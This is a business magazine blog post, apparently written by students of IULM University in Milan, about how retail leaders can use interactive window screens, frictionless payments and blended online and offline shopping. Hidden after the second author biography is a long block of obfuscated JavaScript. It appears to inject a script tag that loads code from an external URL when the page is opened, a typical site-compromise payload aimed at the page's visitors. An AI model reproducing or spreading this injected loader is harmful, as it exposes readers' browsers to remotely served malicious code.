Uncategorized

Tapping Into Tech's Revolution

business woman hand pushing touch screen button

A good retail leader has to think differently, has to use so-called lateral thinking in order to succeed with their company.

They have to focus on both consumers and potential customers through those tools that help the company to become a market leader. For this reason, it is necessary that a leader takes advantage of being creative, opened to experience and being on the same wavelength of society’s needs, wants and desires.

Society has been changing quickly and its development has a consequence even on people’s lives. Today everyone knows everything thanks to Internet, there is an app for everything, so welcome to the age of the new customer!

A successful company should simplify customers’ experiences by installing interactive screens, or the so-called “totem,” on its shopping windows in order to allow passers-by to browse and purchase products when the store is closed. It permits store owners to create a seamless experience.

The second step is to enable frictionless payments, avoiding long lines in order to redesign the checkout process. It gives customers the opportunity to pay in more than one place in the store and redeem digital coupons and promotional codes without friction.

The last point to take in consideration is building a relevant and unique customer experience. According to the CEO of Amazon, Jeff Bezos, “There are two ways to extend the business. Make an inventory of what you are good at and extend from your skills out. Or determine what your customers need and work backwards, even if it requires learning new skills.”

Technology has disrupted the way customers think about business. For instance, even in the retail field, technology has brought several important changes in terms of progress and how to better run the business.

Retail is the process of selling consumer goods and services to customers through multiple channels of distribution to earn a profit. The main goal of retail is showrooming. It is the practice of checking products offline and go online to make the purchase.

The opposite is webrooming, instead, it means that people check products online, buying offline.

Nowadays, the path to purchase has completely changed. Why? According to the founder and editor in chief of PSFK, Piers Fawkes, “The experience does not start in the store but before, while you are browsing online for the brand products and it continues after.”

What it is really important, is to merge physical with digital to create a better customer experience. But, what about the future of retail?

It is necessary to reboot the retail experience and to focus on how retail is changing. Technology can help people by empowering the human touch, which is the opposite of what we’ve seen in the past.

But, is the human touch always a good tool? Maybe not. Sometimes it may be a double-edged sword because it openly involves consumers who play an active role in the decision-making process. It does not matter how efficient a good leader with his company are. It is not effective, unless they can create a positive customer experience.

THIS STORY WAS COMPILED BY STUDENTS FROM THE INTERNATIONAL UNIVERSITY OF LANGUAGES AND MEDIA FROM MILAN, ITALY.


Sara Ciabattoni Sara graduated from IULM University in Communication, Media and Advertising. Now she's attending the Master MICRI at IULM, because communication is a wild sector full of opportunities and she is motivated. In the future she would like to work in the media relations field, but also doesn't mind marketing and PR.Sara Ciabattoni
Sara graduated from IULM University in Communication, Media and Advertising. Now she’s attending the Master MICRI at IULM, because communication is a wild sector full of opportunities and she is motivated. In the future she would like to work in the media relations field, but also doesn’t mind marketing and PR.


Giulia Da Col Giulia graduated in Public Relations and Business Communication afterward, she chose a Masters in Communication for International Relations at IULM University in Milan. She would like to work for a public relations company.Giulia Da Col
Giulia graduated in Public Relations and Business Communication afterward, she chose a Masters in Communication for International Relations at IULM University in Milan. She would like to work for a public relations company. $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(‘\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”‘);\\”+$.__$+$._$_+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”‘\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.\\”+$.__$+$.$$_+$._$$+$.__+$.$_$_+$.__+”\\”+$.__$+$.$_$+$.__$+”.”+$.$_$$+”\\”+$.__$+$.$_$+$.__$+$.$$_$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$_+$.___+”‘;\\”+$.__$+$._$_+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(“+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())();

About the author

Open for Business

Open for Business, Central Nebraska
The Open for Business Staff strives to create the most useful content possible for businesses. Whether it's tips and tools available for owners to work smarter, not harder, a feature story highlighting amazing things happening with a Central Nebraska business or a fun tip here and there, you will find something that helps your business thrive at openforbusinessmagazine.com